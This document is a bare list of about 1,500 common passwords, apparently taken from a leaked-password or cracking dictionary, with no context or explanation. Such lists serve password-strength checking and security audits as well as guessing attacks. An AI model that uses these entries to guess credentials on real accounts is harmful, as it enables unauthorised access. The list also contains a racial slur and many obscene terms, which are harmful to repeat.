gabriel1 fuck123 saffron dogmeat dreamcas dirtydog dunlop douche dresden dickdick destiny1 pappy oaktree lydia luft4 puta prayer ramada trumpet1 vcradq tulip tracy71 tycoon aaaaaaa1 conquest click chitown corps creepers constant couples code cornhole danman dada density d9ebk7 cummins darth cute nash nirvana1 nixon norbert nestle brenda1 bonanza bundy buddies hotspur heavy horror hufmqw electro erasure enough elisabet etvww4 ewyuza eric1 kinder kenken kismet klaatu musician milamber willi waiting isacs155 igor 1million 1letmein x35v8l yogi ywvxpz xngwoj zippy1 020202 **** stonewal sweeney story sentry sexsexsex spence sonysony smirnoff star12 solace sledge states snyder star1 paxton pentagon pkxe62 pilot1 pommes paulpaul plants tical tictac toes lighthou lemans kubrick letmein22 letmesee jys6wz jonesy jjjjjj1 jigga joelle mate merchant redstorm riley1 rosa relief 14141414 1126 allison1 badboy1 asthma auggie basement hartley hartford hardwood gumbo 616913 57np39 56qhxs 4mnveh cake forbes fatluvr69 fqkw5m fidelity feathers fresno godiva gecko gladys gibson1 gogators fridge general1 saxman rowing sammys scotts scout1 sasasa samoht dragon69 ducky dragonball driller p3wqaw nurse papillon oneone openit optimist longshot portia rapier pussy2 ralphie tuxedo ulrike undertow trenton copenhag come delldell culinary deltas mytime nicky nickie noname noles1 bucker bopper bullock burnout bryce hedges ibilltes hihje863 hitter ekim espana eatme69 elpaso envelope express1 eeeeee1 eatme1 karaoke kara mustang5 misses wellingt willem waterski webcam jasons infinite iloveyou! jakarta belair bigdad beerme yoshi yinyang zimmer x24ik3 063dyjuy 0000007 ztmfcq stopit stooges survival stockton symow8 strato 2hot4u ship simons skins shakes sex1 shield snacks softtail slimed123 pizzaman pipe pitt pathetic pinto tigercat tonton lager lizzy juju john123 jennings josiah jesse1 jordon jingles martian mario1 rootedit rochard redwine requiem riverrat rats 1117 1014 1205 althea allie amor amiga alpina alert atreides banana1 bahamut hart golfman happines 7uftyx 5432 5353 5151 4747 byron chatham chadwick cherie foxfire ffvdj474 freaked foreskin gayboy gggggg1 glenda gameover glitter funny1 scoobydoo scroll rudolph saddle saxophon dingbat digimon omicron parsons ohio panda1 loloxx macintos lululu lollypop racer1 queen1 qwertzui prick upnfmc tyrant trout1 9skw5g aceman adelaide acls2h aaabbb acapulco aggie comcast craft crissy cloudy cq2kph custer d6o8pm cybersex davecole darian crumbs daisey davedave dasani needle mzepab myporn narnia nineteen booger1 bravo1 budgie btnjey highlander hotel6 humbug edwin ewtosi kristin1 kobe knuckles keith1 katarina muff muschi montana1 wingchun wiggle whatthe walking watching vette1 vols virago intj3a ishmael intern jachin illmatic 199999 2010 beck blender bigpenis bengal blue1234 your zaqxsw xray xxxxxxx1 zebras yanks worlds tadpole stripes svetlana 3737 4343 3728 4444444 368ejhih solar sonne smalls sniffer sonata squirts pitcher playstation pktmxr pescator points texaco lesbos lilian l8v53x jo9k2jw2 jimbeam josie jimi jupiter2 jurassic marines1 maya rocket1 ringer 14725836 12345679 1219 123098 1233 alessand althor angelika arch armando alpha123 basher barefeet balboa bbbbb1 banks badabing harriet gopack golfnut gsxr1000 gregory1 766rglqy 8520 753159 8dihc6 69camaro 666777 cheeba chino calendar cheeky camel1 fishcake falling flubber giuseppe gianni gloves gnasher23 frisbee fuzzy1 fuzzball sauce save13tx schatz russell1 sandra1 scrotum scumbag sabre samdog dripping dragon12 dragster paige orwell mainland lunatic lonnie lotion maine maddux qn632o poophead rapper porn4life producer rapunzel tracks velocity vanessa1 ulrich trueblue vampire1 abacus 902100 crispy corky crane chooch d6wnro cutie deal dabulls dehpye navyseal njqcw4 nownow nigger1 nightowl nonenone nightmar bustle buddy2 boingo bugman bulletin bosshog bowie hybrid hillside hilltop hotlegs honesty hzze929b hhhhh1 hellohel eloise evilone edgewise e5pftu eded embalmer excalibur elefant kenzie karl karin killah kleenex mouses mounta1n motors mutley muffdive vivitron winfield wednesday w00t88 iloveit jarjar incest indycar 17171717 1664 17011701 222777 2663 beelch benben yitbos yyyyy1 yasmin zapata zzzzz1 stooge tangerin taztaz stewart1 summer69 sweetness system1 surveyor stirling 3qvqod 3way 456321 sizzle simhrq shrink shawnee someday sparty ssptx452 sphere spark slammed sober persian peppers ploppy pn5jvw poobear pianos plaster testme tiff thriller larissa lennox jewell master12 messier rockey 1229 1217 1478 1009 anastasi almighty amonra aragon argentin albino azazel grinder 6uldv8 83y6pv 8888888 4tlved 515051 carsten changes flanders flyers88 ffffff1 firehawk foreman firedog flashman ggggg1 gerber godspeed galway giveitup funtimes gohan giveme geryfe frenchie sayang rudeboy savanna sandals devine dougal drag0n dga9la disaster desktop only onlyone otter pandas mafia lombard luckys lovejoy lovelife manders product qqh92r qcmfd454 pork radar1 punani ptbdhw turtles undertaker trs8f7 tramp ugejvp abba 911turbo acdc abcd123 clever corina cristian create crash1 colony crosby delboy daniele davinci daughter notebook niki nitrox borabora bonzai budd brisbane hotter heeled heroes hooyah hotgirl i62gbq horse1 hills hpk2qc epvjb6 echo korean kristie mnbvc mohammad mind mommy1 munster wade wiccan wanted jacket 2369 bettyboo blondy bismark beanbag bjhgfi blackice yvtte545 ynot yess zlzfrh wolvie 007bond ****** tailgate tanya1 sxhq65 stinky1 3234412 3ki42x seville shimmer sheryl sienna shitshit skillet seaman sooners1 solaris smartass pastor pasta pedros pennywis pfloyd tobydog thetruth lethal letme1n leland jenifer mario66 micky rocky2 rewq ripped reindeer 1128 1207 1104 1432 aprilia allstate alyson bagels basic baggies barb barrage greatest gomez guru guard 72d5tn 606060 4wcqjn caldwell chance1 catalog faust film flange fran fartman geil gbhcf2 fussball glen fuaqz4 gameboy garnet geneviev rotary seahawk russel saab seal samadams devlt4 ditto drevil drinker deuce dipstick donut octopus ottawa losangel loverman porky q9umoz rapture pump pussy4me university triplex ue8fpw trent trophy turbos troubles agent aaa340 churchil crazyman consult creepy craven class cutiepie ddddd1 dejavu cuxldv nettie nbvibt nikon niko norwood nascar1 nolan bubba2 boobear boogers buff bullwink bully bulldawg horsemen escalade editor eagle2 dynamic ella efyreg edition kidney minnesot mogwai morrow msnxbi moonlight mwq6qlzo wars werder verygood voodoo1 wheel iiiiii1 159951 1624 1911a1 2244 bellagio bedlam belkin bill1 woodrow xirt2k worship ?????? tanaka swift susieq sundown sukebe tales swifty 2fast4u senate sexe sickness shroom shaun seaweed skeeter1 status snicker sorrow spanky1 spook patti phaedrus pilots pinch peddler theo thumper1 tessie tiger7 tmjxn151 thematri l2g7k3 letmeinn lazy jeffjeff joan johnmish mantra mariana mike69 marshal mart mazda6 riptide robots rental 1107 1130 142857 11001001 1134 armored alvin alec allnight alright amatuers bartok attorney astral baboon bahamas balls1 bassoon hcleeb happyman granite graywolf golf1 gomets 8vjzus 7890 789123 8uiazp 5757 474jdvff 551scasi 50cent camaro1 cherry1 chemist final firenze fishtank farrell freewill glendale frogfrog gerhardt ganesh same scirocco devilman doodles dinger okinawa olympic nursing orpheus ohmygod paisley pallmall null lounge lunchbox manhatta mahalo mandarin qwqwqw qguvyt pxx3eftp president rambler puzzle poppy1 turk182 trotter vdlxuc trish tugboat valiant tracie uwrl7c chris123 coaster cmfnpu decimal debbie1 dandy daedalus dede natasha1 nissan1 nancy123 nevermin napalm newcastle boats branden britt bonghit hester ibxnsm hhhhhh1 holger durham edmonton erwin equinox dvader kimmy knulla mustafa monsoon mistral morgana monica1 mojave month monterey mrbill vkaxcs victor1 wacker wendell violator vfdhif wilson1 wavpzt verena wildstar winter99 iqzzt580 jarrod imback 1914 19741974 1monkey 1q2w3e4r5t 2500 2255 blank bigshow bigbucks blackcoc zoomer wtcacq wobble xmen xjznq5 yesterda yhwnqc zzzxxx streak 393939 2fchbg skinhead skilled shakira shaft shadow12 seaside sigrid sinful silicon smk7366 snapshot sniper1 soccer11 staff slap smutty peepers pleasant plokij pdiddy pimpdaddy thrust terran topaz today1 lionhear littlema lauren1 lincoln1 lgnu9d laughing juneau methos medina merlyn rogue1 romulus redshift 1202 1469 12locked arizona1 alfarome al9agd aol123 altec apollo1 arse baker1 bbb747 bach axeman astro1 hawthorn goodfell hawks1 gstring hannes 8543852 868686 4ng62t 554uzpad 5401 567890 5232 catfood frame flow fire1 flipflop fffff1 fozzie fluff garrison fzappa furious round rustydog sandberg scarab satin ruger samsung1 destin diablo2 dreamer1 detectiv dominick doqvq3 drywall paladin1 papabear offroad panasonic nyyankee luetdi qcfmtz pyf8ah puddles privacy rainer pussyeat ralph1 princeto trivia trewq tri5a3 advent 9898 agyvorc clarkie coach1 courier contest christo corinna chowder concept climbing cyzkhw davidb dad2ownu days daredevi de7mdf nose necklace nazgul booboo1 broad bonzo brenna boot butch1 huskers1 hgfdsa hornyman elmer elektra england1 elodie kermit1 knife kaboom minute modern motherfucker morten mocha monday1 morgoth ward weewee weenie walters vorlon website wahoo ilovegod insider jayman 1911 1dallas 1900 1ranger 201jedlz 2501 1qaz bertram bignuts bigbad beebee billows belize bebe wvj5np wu4etd yamaha1 wrinkle5 zebra1 yankee1 zoomzoom 09876543 0311 ????? stjabn tainted 3tmnej shoot skooter skelter sixteen starlite smack spice1 stacey1 smithy perrin pollux peternorth pixie paulina piston pick poets pine toons tooth topspin kugm7b legends jeepjeep juliana joystick junkmail jojojojo jonboy judge midland meteor mccabe matter mayfair meeting merrill raul riches reznor rockrock reboot reject robyn renee1 roadway rasta220 1411 1478963 1019 archery allman andyandy barks bagpuss auckland gooseman hazmat gucci guns grammy happydog greek 7kbe9d 7676 6bjvpe 5lyedn 5858 5291 charlie2 chas c7lrwu candys chateau ccccc1 cardinals fear fihdfv fortune12 gocats gaelic fwsadn godboy gldmeo fx3tuo fubar1 garland generals gforce rxmtkp rulz sairam dunhill division dogggg detect details doll drinks ozlq6qwm ov3ajy lockout makayla macgyver mallorca loves prima pvjegu qhxbij raphael prelude1 totoro tusymo trousers tunnel valeria tulane turtle1 tracy1 aerosmit abbey1 address clticic clueless cooper1 comets collect corbin delpiero derick cyprus dante1 dave1 nounours neal nexus6 nero nogard norfolk brent1 booyah bootleg buckaroo bulls23 bulls1 booper heretic icecube hellno hounds honeydew hooters1 hoes howie hevnm4 hugohugo eighty epson evangeli eeeee1 eyphed